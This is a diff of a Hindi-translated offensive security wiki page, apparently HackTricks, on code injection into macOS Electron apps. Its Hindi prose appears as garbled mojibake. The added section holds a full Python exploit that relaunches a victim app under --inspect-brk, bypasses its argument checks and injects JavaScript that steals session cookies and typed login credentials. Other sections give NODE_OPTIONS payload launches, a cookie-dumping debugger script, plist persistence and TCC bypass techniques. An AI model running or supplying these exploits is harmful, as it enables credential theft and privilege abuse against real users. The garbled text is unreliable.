рд╣реИ**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), рдЖрдк рдЗрд╕ env рд╡реЗрд░рд┐рдПрдмрд▓ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдПрдХ plist рдореЗрдВ рд╕реНрдерд┐рд░рддрд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```xml @@ -123,7 +123,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord ``` > [!CAUTION] -> рдпрджрд┐ рдлреНрдпреВрдЬрд╝ **`EnableNodeOptionsEnvironmentVariable`** **рдЕрдХреНрд╖рдо** рд╣реИ, рддреЛ рдРрдк **NODE_OPTIONS** рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдХреЛ **рдЕрдирджреЗрдЦрд╛** рдХрд░реЗрдЧрд╛ рдЬрдм рдЗрд╕реЗ рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЬрдм рддрдХ рдХрд┐ рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ **`ELECTRON_RUN_AS_NODE`** рд╕реЗрдЯ рди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ, рдЬрд┐рд╕реЗ рднреА **рдЕрдирджреЗрдЦрд╛** рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдпрджрд┐ рдлреНрдпреВрдЬрд╝ **`RunAsNode`** рдЕрдХреНрд╖рдо рд╣реИред +> рдпрджрд┐ рдлреНрдпреВрдЬрд╝ **`EnableNodeOptionsEnvironmentVariable`** **рдЕрдХреНрд╖рдо** рд╣реИ, рддреЛ рдРрдк **NODE_OPTIONS** рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдХреЛ **рдЕрдирджреЗрдЦрд╛** рдХрд░реЗрдЧрд╛ рдЬрдм рдЗрд╕реЗ рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЬрдм рддрдХ рдХрд┐ рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ **`ELECTRON_RUN_AS_NODE`** рд╕реЗрдЯ рди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ, рдЬрд┐рд╕реЗ рдлреНрдпреВрдЬрд╝ **`RunAsNode`** рдЕрдХреНрд╖рдо рд╣реЛрдиреЗ рдкрд░ рднреА **рдЕрдирджреЗрдЦрд╛** рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред > > рдпрджрд┐ рдЖрдк **`ELECTRON_RUN_AS_NODE`** рд╕реЗрдЯ рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдкрдХреЛ **рддреНрд░реБрдЯрд┐** рдорд┐рд▓реЗрдЧреА: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.` @@ -147,21 +147,229 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di ``` ## RCE with inspecting -According to [**this**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), рдпрджрд┐ рдЖрдк **`--inspect`**, **`--inspect-brk`** рдФрд░ **`--remote-debugging-port`** рдЬреИрд╕реЗ рдлреНрд▓реИрдЧ рдХреЗ рд╕рд╛рде рдПрдХ Electron рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЪрд▓рд╛рддреЗ рд╣реИрдВ, рддреЛ рдПрдХ **debug port рдЦреБрд▓ рдЬрд╛рдПрдЧрд╛** рддрд╛рдХрд┐ рдЖрдк рдЗрд╕рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░ рд╕рдХреЗрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП Chrome рдореЗрдВ `chrome://inspect`) рдФрд░ рдЖрдк рдЗрд╕рдореЗрдВ **рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ** рдХрд░ рд╕рдХреЗрдВрдЧреЗ рдпрд╛ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдирдП рдкреНрд░реЛрд╕реЗрд╕ рднреА рд▓реЙрдиреНрдЪ рдХрд░ рд╕рдХреЗрдВрдЧреЗред\ -For example: +According to [**this**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), рдпрджрд┐ рдЖрдк **`--inspect`**, **`--inspect-brk`** рдФрд░ **`--remote-debugging-port`** рдЬреИрд╕реЗ рдлреНрд▓реИрдЧ рдХреЗ рд╕рд╛рде рдПрдХ Electron рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЪрд▓рд╛рддреЗ рд╣реИрдВ, рддреЛ рдПрдХ **debug port рдЦреБрд▓рд╛ рд╣реЛрдЧрд╛** рддрд╛рдХрд┐ рдЖрдк рдЗрд╕рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░ рд╕рдХреЗрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП Chrome рдореЗрдВ `chrome://inspect`) рдФрд░ рдЖрдк **рдЗрд╕ рдкрд░ рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ** рдХрд░ рд╕рдХреЗрдВрдЧреЗ рдпрд╛ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдирдП рдкреНрд░реЛрд╕реЗрд╕ рднреА рд▓реЙрдиреНрдЪ рдХрд░ рд╕рдХреЗрдВрдЧреЗред\ +рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: ```bash /Applications/Signal.app/Contents/MacOS/Signal --inspect=9229 # Connect to it using chrome://inspect and execute a calculator with: require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator') ``` +In [**рдЗрд╕ рдмреНрд▓реЙрдЧрдкреЛрд╕реНрдЯ**](https://hackerone.com/reports/1274695), рдЗрд╕ рдбрд┐рдмрдЧрд┐рдВрдЧ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рддрд╛рдХрд┐ рдПрдХ рд╣реЗрдбрд▓реЗрд╕ рдХреНрд░реЛрдо **рдордирдорд╛рдиреЗ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдордирдорд╛рдиреЗ рд╕реНрдерд╛рдиреЛрдВ рдкрд░ рдбрд╛рдЙрдирд▓реЛрдб** рдХрд░ рд╕рдХреЗред + +> [!TIP] +> рдпрджрд┐ рдХрд┐рд╕реА рдРрдк рдХрд╛ рдЕрдкрдирд╛ рддрд░реАрдХрд╛ рд╣реИ рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ env рд╡реЗрд░рд┐рдПрдмрд▓ рдпрд╛ рдкреИрд░рд╛рдореАрдЯрд░реНрд╕ рдЬреИрд╕реЗ `--inspect` рд╕реЗрдЯ рд╣реИрдВ, рддреЛ рдЖрдк рд░рдирдЯрд╛рдЗрдо рдореЗрдВ `--inspect-brk` рдЖрд░реНрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрд╕реЗ **рдмрд╛рдпрдкрд╛рд╕** рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рдРрдк рдХреЗ рд╢реБрд░реВ рдореЗрдВ **рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рд░реЛрдХ рджреЗрдЧрд╛** рдФрд░ рдПрдХ рдмрд╛рдпрдкрд╛рд╕ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╡рд░реНрддрдорд╛рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЖрд░реНрдЧреНрд╕ рдпрд╛ env рд╡реЗрд░рд┐рдПрдмрд▓реНрд╕ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдирд╛)ред + +рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдПрдХ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдерд╛ рдЬрд┐рд╕рдореЗрдВ рдРрдк рдХреЛ `--inspect-brk` рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рдореЙрдирд┐рдЯрд░ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдХреЗ рдХрд╕реНрдЯрдо рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рд╕рдВрднрд╡ рдерд╛ (рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдкреИрд░рд╛рдореАрдЯрд░реНрд╕ рдХреЛ `--inspect-brk` рдХреЛ рд╣рдЯрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдирд╛) рдФрд░ рдлрд┐рд░ рдРрдк рд╕реЗ рдХреБрдХреАрдЬрд╝ рдФрд░ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рдбрдВрдк рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ JS рдкреЗрд▓реЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдирд╛: +```python +import asyncio +import websockets +import json +import requests +import os +import psutil +from time import sleep + +INSPECT_URL = None +CONT = 0 +CONTEXT_ID = None +NAME = None +UNIQUE_ID = None + +JS_PAYLOADS = """ +var { webContents } = require('electron'); +var fs = require('fs'); + +var wc = webContents.getAllWebContents()[0] + + +function writeToFile(filePath, content) { +const data = typeof content === 'string' ? content : JSON.stringify(content, null, 2); + +fs.writeFile(filePath, data, (err) => { +if (err) { +console.error(`Error writing to file ${filePath}:`, err); +} else { +console.log(`File written successfully at ${filePath}`); +} +}); +} + +function get_cookies() { +intervalIdCookies = setInterval(() => { +console.log("Checking cookies..."); +wc.session.cookies.get({}) +.then((cookies) => { +tokenCookie = cookies.find(cookie => cookie.name === "token"); +if (tokenCookie){ +writeToFile("/tmp/cookies.txt", cookies); +clearInterval(intervalIdCookies); +wc.executeJavaScript(`alert("Cookies stolen and written to /tmp/cookies.txt")`); +} +}) +}, 1000); +} + +function get_creds() { +in_location = false; +intervalIdCreds = setInterval(() => { +if (wc.mainFrame.url.includes("https://www.victim.com/account/login")) { +in_location = true; +console.log("Injecting creds logger..."); +wc.executeJavaScript(` +(function() { +email = document.getElementById('login_email_id'); +password = document.getElementById('login_password_id'); +if (password && email) { +return email.value+":"+password.value; +} +})(); +`).then(result => { +writeToFile("/tmp/victim_credentials.txt", result); +}) +} +else if (in_location) { +wc.executeJavaScript(`alert("Creds stolen and written to /tmp/victim_credentials.txt")`); +clearInterval(intervalIdCreds); +} +}, 10); // Check every 10ms +setTimeout(() => clearInterval(intervalId), 20000); // Stop after 20 seconds +} + +get_cookies(); +get_creds(); +console.log("Payloads injected"); +""" + +async def get_debugger_url(): +""" +Fetch the local inspector's WebSocket URL from the JSON endpoint. +Assumes there's exactly one debug target. +""" +global INSPECT_URL + +url = "http://127.0.0.1:9229/json" +response = requests.get(url) +data = response.json() +if not data: +raise RuntimeError("No debug targets found on port 9229.") +# data[0] should contain an object with "webSocketDebuggerUrl" +ws_url = data[0].get("webSocketDebuggerUrl") +if not ws_url: +raise RuntimeError("webSocketDebuggerUrl not found in inspector data.") +INSPECT_URL = ws_url + + +async def monitor_victim(): +print("Monitoring victim process...") +found = False +while not found: +sleep(1) # Check every second +for process in psutil.process_iter(attrs=['pid', 'name']): +try: +# Check if the process name contains "victim" +if process.info['name'] and 'victim' in process.info['name']: +found = True +print(f"Found victim process (PID: {process.info['pid']}). Terminating...") +os.kill(process.info['pid'], 9) # Force kill the process +except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): +# Handle processes that might have terminated or are inaccessible +pass +os.system("open /Applications/victim.app --args --inspect-brk") + +async def bypass_protections(): +global CONTEXT_ID, NAME, UNIQUE_ID +print(f"Connecting to {INSPECT_URL} ...") + +async with websockets.connect(INSPECT_URL) as ws: +data = await send_cmd(ws, "Runtime.enable", get_first=True) +CONTEXT_ID = data["params"]["context"]["id"] +NAME = data["params"]["context"]["name"] +UNIQUE_ID = data["params"]["context"]["uniqueId"] + +sleep(1) + +await send_cmd(ws, "Debugger.enable", {"maxScriptsCacheSize": 10000000}) + +await send_cmd(ws, "Profiler.enable") + +await send_cmd(ws, "Debugger.setBlackboxPatterns", {"patterns": ["/node_modules/|/browser_components/"], "skipAnonnymous": False}) + +await send_cmd(ws, "Runtime.runIfWaitingForDebugger") + +await send_cmd(ws, "Runtime.executionContextCreated", get_first=False, params={"context": {"id": CONTEXT_ID, "origin": "", "name": NAME, "uniqueId": UNIQUE_ID, "auxData": {"isDefault": True}}}) + +code_to_inject = """process['argv'] = ['/Applications/victim.app/Contents/MacOS/victim']""" +await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression": code_to_inject, "uniqueContextId":UNIQUE_ID}) +print("Injected code to bypass protections") + + +async def js_payloads(): +global CONT, CONTEXT_ID, NAME, UNIQUE_ID + +print(f"Connecting to {INSPECT_URL} ...") + +async with websockets.connect(INSPECT_URL) as ws: +data = await send_cmd(ws, "Runtime.enable", get_first=True) +CONTEXT_ID = data["params"]["context"]["id"] +NAME = data["params"]["context"]["name"] +UNIQUE_ID = data["params"]["context"]["uniqueId"] +await send_cmd(ws, "Runtime.compileScript", get_first=False, params={"expression":JS_PAYLOADS,"sourceURL":"","persistScript":False,"executionContextId":1}) +await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression":JS_PAYLOADS,"objectGroup":"console","includeCommandLineAPI":True,"silent":False,"returnByValue":False,"generatePreview":True,"userGesture":False,"awaitPromise":False,"replMode":True,"allowUnsafeEvalBlockedByCSP":True,"uniqueContextId":UNIQUE_ID}) + + + +async def main(): +await monitor_victim() +sleep(3) +await get_debugger_url() +await bypass_protections() + +sleep(7) + +await js_payloads() + + + +async def send_cmd(ws, method, get_first=False, params={}): +""" +Send a command to the inspector and read until we get a response with matching "id". +""" +global CONT + +CONT += 1 + +# Send the command +await ws.send(json.dumps({"id": CONT, "method": method, "params": params})) +sleep(0.4) + +# Read messages until we get our command result +while True: +response = await ws.recv() +data = json.loads(response) + +# Print for debugging +print(f"[{method} / {CONT}] ->", data) + +if get_first: +return data + +# If this message is a response to our command (by matching "id"), break +if data.get("id") == CONT: +return data + +# Otherwise it's an event or unrelated message; keep reading + +if __name__ == "__main__": +asyncio.run(main()) +``` > [!CAUTION] -> рдпрджрд┐ рдлреНрдпреВрдЬрд╝ **`EnableNodeCliInspectArguments`** рдмрдВрдж рд╣реИ, рддреЛ рдРрдк **рдиреЛрдб рдкреИрд░рд╛рдореАрдЯрд░** (рдЬреИрд╕реЗ `--inspect`) рдХреЛ рд▓реЙрдиреНрдЪ рдХрд░рддреЗ рд╕рдордп **рдЕрдирджреЗрдЦрд╛** рдХрд░реЗрдЧрд╛ рдЬрдм рддрдХ рдХрд┐ рдПрдиреНрд╡рд╛рдпрд░рдирдореЗрдВрдЯ рд╡реЗрд░рд┐рдПрдмрд▓ **`ELECTRON_RUN_AS_NODE`** рд╕реЗрдЯ рди рд╣реЛ, рдЬрд┐рд╕реЗ рднреА **рдЕрдирджреЗрдЦрд╛** рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдпрджрд┐ рдлреНрдпреВрдЬрд╝ **`RunAsNode`** рдмрдВрдж рд╣реИред +> рдпрджрд┐ рдлреНрдпреВрдЬрд╝ **`EnableNodeCliInspectArguments`** рдмрдВрдж рд╣реИ, рддреЛ рдРрдк **рдиреЛрдб рдкреИрд░рд╛рдореАрдЯрд░** (рдЬреИрд╕реЗ `--inspect`) рдХреЛ рд▓реЙрдиреНрдЪ рдХрд░рддреЗ рд╕рдордп **рдЕрдирджреЗрдЦрд╛** рдХрд░реЗрдЧрд╛ рдЬрдм рддрдХ рдХрд┐ рдПрдиреНрд╡рд╛рдпрд░рдирдореЗрдВрдЯ рд╡реЗрд░рд┐рдПрдмрд▓ **`ELECTRON_RUN_AS_NODE`** рд╕реЗрдЯ рди рд╣реЛ, рдЬрд┐рд╕реЗ рдлреНрдпреВрдЬрд╝ **`RunAsNode`** рдмрдВрдж рд╣реЛрдиреЗ рдкрд░ рднреА **рдЕрдирджреЗрдЦрд╛** рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред > > рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЖрдк рдЕрднреА рднреА **рдЗрд▓реЗрдХреНрдЯреНрд░реЙрди рдкреИрд░рд╛рдореАрдЯрд░ `--remote-debugging-port=9229`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди рдкрд┐рдЫрд▓реЗ рдкреЗрд▓реЛрдб рдЕрдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ред рдкреИрд░рд╛рдореАрдЯрд░ **`--remote-debugging-port=9222`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрд▓реЗрдХреНрдЯреНрд░реЙрди рдРрдк рд╕реЗ рдХреБрдЫ рдЬрд╛рдирдХрд╛рд░реА рдЪреБрд░рд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдЬреИрд╕реЗ **рдЗрддрд┐рд╣рд╛рд╕** (GET рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде) рдпрд╛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ **рдХреБрдХреАрдЬрд╝** (рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рдЕрдВрджрд░ **рдбрд┐рдХреНрд░рд┐рдкреНрдЯ** рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдПрдХ **json рдПрдВрдбрдкреЙрдЗрдВрдЯ** рд╣реИ рдЬреЛ рдЙрдиреНрд╣реЗрдВ рджреЗрдЧрд╛)ред -рдЖрдк рдпрд╣ рд╕реАрдЦ рд╕рдХрддреЗ рд╣реИрдВ [**рдпрд╣рд╛рдБ**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) рдФрд░ [**рдпрд╣рд╛рдБ**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) рдФрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЙрдкрдХрд░рдг [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) рдпрд╛ рдПрдХ рд╕рд╛рдзрд╛рд░рдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ: +рдЖрдк рдпрд╣ рдХреИрд╕реЗ рдХрд░рдирд╛ рд╣реИ [**рдпрд╣рд╛рдБ**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) рдФрд░ [**рдпрд╣рд╛рдБ**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) рд╕реАрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЙрдкрдХрд░рдг [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) рдпрд╛ рдПрдХ рд╕рд╛рдзрд╛рд░рдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```python import websocket ws = websocket.WebSocket() @@ -169,9 +377,7 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}') print(ws.recv() ``` -рдЗрд╕ [**рдмреНрд▓реЙрдЧрдкреЛрд╕реНрдЯ**](https://hackerone.com/reports/1274695) рдореЗрдВ, рдЗрд╕ рдбрд┐рдмрдЧрд┐рдВрдЧ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдПрдХ рд╣реЗрдбрд▓реЗрд╕ рдХреНрд░реЛрдо **рдордирдорд╛рдиреЗ рд╕реНрдерд╛рдиреЛрдВ рдореЗрдВ рдордирдорд╛рдиреЗ рдлрд╝рд╛рдЗрд▓реЗрдВ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХреЗ**ред - -### рдРрдк plist рд╕реЗ рдЗрдВрдЬреЗрдХреНрд╢рди +### Injection from the App Plist рдЖрдк рдЗрд╕ env рд╡реЗрд░рд┐рдПрдмрд▓ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдПрдХ plist рдореЗрдВ рд╕реНрдерд┐рд░рддрд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЗрди рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЛ рдЬреЛрдбрд╝рдХрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```xml @@ -187,19 +393,21 @@ print(ws.recv() ``` -## TCC Bypass abusing Older Versions +## TCC Bypass рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ > [!TIP] > macOS рдХрд╛ TCC рдбреЗрдорди рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╕рдВрд╕реНрдХрд░рдг рдХреА рдЬрд╛рдВрдЪ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдЖрдк **Electron рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ** рдХрд┐рд╕реА рднреА рдкрд┐рдЫрд▓реЗ рддрдХрдиреАрдХреЛрдВ рдХреЗ рд╕рд╛рде, рддреЛ рдЖрдк APP рдХрд╛ рдПрдХ рдкрд┐рдЫрд▓рд╛ рд╕рдВрд╕реНрдХрд░рдг рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрд╕ рдкрд░ рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕реЗ рдЕрднреА рднреА TCC рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдорд┐рд▓реЗрдВрдЧреЗ (рдЬрдм рддрдХ рдХрд┐ Trust Cache рдЗрд╕реЗ рд░реЛрдХ рди рджреЗ)ред -## Run non JS Code +## рдЧреИрд░-JS рдХреЛрдб рдЪрд▓рд╛рдирд╛ -рдкрд┐рдЫрд▓реА рддрдХрдиреАрдХреЗрдВ рдЖрдкрдХреЛ **Electron рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЕрдВрджрд░ JS рдХреЛрдб рдЪрд▓рд╛рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВрдЧреАред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ **рдмрдЪреНрдЪреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рдорд╛рддрд╛-рдкрд┐рддрд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд╕рдорд╛рди рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рдХреЗ рддрд╣рдд рдЪрд▓рддреА рд╣реИрдВ** рдФрд░ **рдЙрдирдХреА TCC рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╡рд┐рд░рд╛рд╕рдд рдореЗрдВ рдорд┐рд▓рддреА рд╣реИрдВ**ред\ +рдкрд┐рдЫрд▓реА рддрдХрдиреАрдХреЗрдВ рдЖрдкрдХреЛ **Electron рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЕрдВрджрд░ JS рдХреЛрдб рдЪрд▓рд╛рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВрдЧреАред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ **рдмрдЪреНрдЪреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рдорд╛рддрд╛-рдкрд┐рддрд╛ рдХреЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд╕рдорд╛рди рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рдХреЗ рддрд╣рдд рдЪрд▓рддреА рд╣реИрдВ** рдФрд░ **рдЙрдирдХреА TCC рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╡рд┐рд░рд╛рд╕рдд рдореЗрдВ рд▓реЗрддреА рд╣реИрдВ**ред\ рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдк рдХреИрдорд░рд╛ рдпрд╛ рдорд╛рдЗрдХреНрд░реЛрдлрд╝реЛрди рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдмрд╕ **рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рдПрдХ рдФрд░ рдмрд╛рдЗрдирд░реА рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ**ред -## Automatic Injection +## рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЗрдВрдЬреЗрдХреНрд╢рди -рдЙрдкрдХрд░рдг [**electroniz3r**](https://github.com/r3ggi/electroniz3r) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЖрд╕рд╛рди рд╣реИ **рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЗрд▓реЗрдХреНрдЯреНрд░реЙрди рдПрдкреНрд▓рд┐рдХреЗрд╢рди** рдЦреЛрдЬрдиреЗ рдФрд░ рдЙрди рдкрд░ рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред рдпрд╣ рдЙрдкрдХрд░рдг **`--inspect`** рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдЧрд╛: +- [**electroniz3r**](https://github.com/r3ggi/electroniz3r) + +рдЙрдкрдХрд░рдг [**electroniz3r**](https://github.com/r3ggi/electroniz3r) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЖрд╕рд╛рди рд╣реИ **рд╕рдВрд╡реЗрджрдирд╢реАрд▓ Electron рдПрдкреНрд▓рд┐рдХреЗрд╢рди** рдЦреЛрдЬрдиреЗ рдФрд░ рдЙрди рдкрд░ рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред рдпрд╣ рдЙрдкрдХрд░рдг **`--inspect`** рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдЧрд╛: рдЖрдкрдХреЛ рдЗрд╕реЗ рд╕реНрд╡рдпрдВ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдФрд░ рдЖрдк рдЗрд╕реЗ рдЗрд╕ рддрд░рд╣ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash @@ -237,7 +445,11 @@ You can now kill the app using `kill -9 57739` The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5 Shell binding requested. Check `nc 127.0.0.1 12345` ``` -## рд╕рдВрджрд░реНрдн +- 